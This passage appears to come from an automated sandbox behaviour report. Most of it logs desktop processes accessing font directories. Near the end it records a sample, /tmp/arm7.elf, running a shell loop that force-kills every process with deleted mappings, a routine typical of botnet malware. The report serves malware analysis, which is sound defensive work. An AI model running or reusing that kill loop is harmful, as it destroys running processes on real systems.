Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/noto/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/openoffice/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/padauk/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/pagul/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/samyak/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/sinhala/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/tlwg/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/type1/urw-base35/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Directory: /usr/share/fonts/X11/encodings/large/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /home/saturnino/.Xdefaults-galassia
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/local/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /home/saturnino/.local/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /home/saturnino/.fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/X11/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/cMap/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/cmap/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/opentype/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/type1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/X11/Type1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/X11/encodings/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/X11/misc/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/X11/util/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/opentype/malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/opentype/mathjax/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/opentype/noto/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/Gargi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/Nakula/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/Navilu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/Sarai/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/dejavu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/droid/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/freefont/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/kacst/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/lao/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/lato/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/liberation/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/liberation2/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/noto/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/openoffice/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/padauk/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/pagul/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/samyak/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/sinhala/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/tlwg/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/type1/urw-base35/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /usr/share/fonts/X11/encodings/large/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /home/saturnino/.cache
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /home/saturnino/.local
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Directory: /home/saturnino/.config
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /home/saturnino/.Xdefaults-galassia
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/local/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /home/saturnino/.local/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /home/saturnino/.fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/X11/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/cMap/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/cmap/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/opentype/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/type1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/X11/Type1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/X11/encodings/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/X11/misc/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/X11/util/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/opentype/malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/opentype/mathjax/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/opentype/noto/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/Gargi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/Nakula/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/Navilu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/Sarai/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/dejavu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/droid/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/freefont/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/kacst/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/lao/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/lato/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/liberation/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/liberation2/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/noto/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/openoffice/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/padauk/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/pagul/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/samyak/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/sinhala/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/tlwg/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/type1/urw-base35/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Directory: /usr/share/fonts/X11/encodings/large/.uuid
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /home/saturnino/.Xdefaults-galassia
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /home/saturnino/.hidden
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /.hidden
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /home/.hidden
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /usr/share/fonts/.uuid
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /usr/local/share/fonts/.uuid
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /home/saturnino/.local/share/fonts/.uuid
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /home/saturnino/.fonts/.uuid
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /usr/share/fonts/X11/.uuid
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /usr/share/fonts/cMap/.uuid
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /usr/share/fonts/cmap/.uuid
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /usr/share/fonts/opentype/.uuid
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /usr/share/fonts/truetype/.uuid
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /usr/share/fonts/type1/.uuid
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /usr/share/fonts/X11/Type1/.uuid
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /usr/share/fonts/X11/encodings/.uuid
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /usr/share/fonts/X11/misc/.uuid
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /usr/share/fonts/X11/util/.uuid
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid
Source: /usr/bin/xfdesktop (PID: 6553)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid

Source: /tmp/arm7.elf (PID: 6239)	Shell command executed: /bin/sh -c "for pid in $(ls /proc \| grep -E '^[0-9]+$'); do grep -q '(deleted)' /proc/$pid/maps && kill -9 $pid \|\| true; done;"	Jump to behavior
Source: /usr/lib/xorg/Xorg (PID: 6893)	Shell command executed: sh -c "\"/usr/bin/xkbcomp\" -w 1 \"-R/usr/share/X11/xkb\" -xkm \"-\" -em1 \"The XKEYBOARD keymap compiler (xkbcomp) reports:\" -emp \"> \" -eml \"Errors from xkbcomp are not fatal to the X server\" \"/tmp/server-0.xkm\""
Source: /usr/share/language-tools/language-options (PID: 6947)	Shell command executed: sh -c "locale -a \| grep -F .utf8 "

Source: /bin/sh (PID: 6247)	Grep executable: /usr/bin/grep -> grep -E ^[0-9]+$	Jump to behavior
Source: /bin/sh (PID: 6248)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1/maps	Jump to behavior
Source: /bin/sh (PID: 6249)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/10/maps	Jump to behavior
Source: /bin/sh (PID: 6250)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/100/maps	Jump to behavior
Source: /bin/sh (PID: 6251)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/101/maps	Jump to behavior
Source: /bin/sh (PID: 6252)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/102/maps	Jump to behavior
Source: /bin/sh (PID: 6253)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/103/maps	Jump to behavior
Source: /bin/sh (PID: 6254)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/104/maps	Jump to behavior
Source: /bin/sh (PID: 6255)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/105/maps	Jump to behavior
Source: /bin/sh (PID: 6256)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/106/maps	Jump to behavior
Source: /bin/sh (PID: 6257)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/107/maps	Jump to behavior
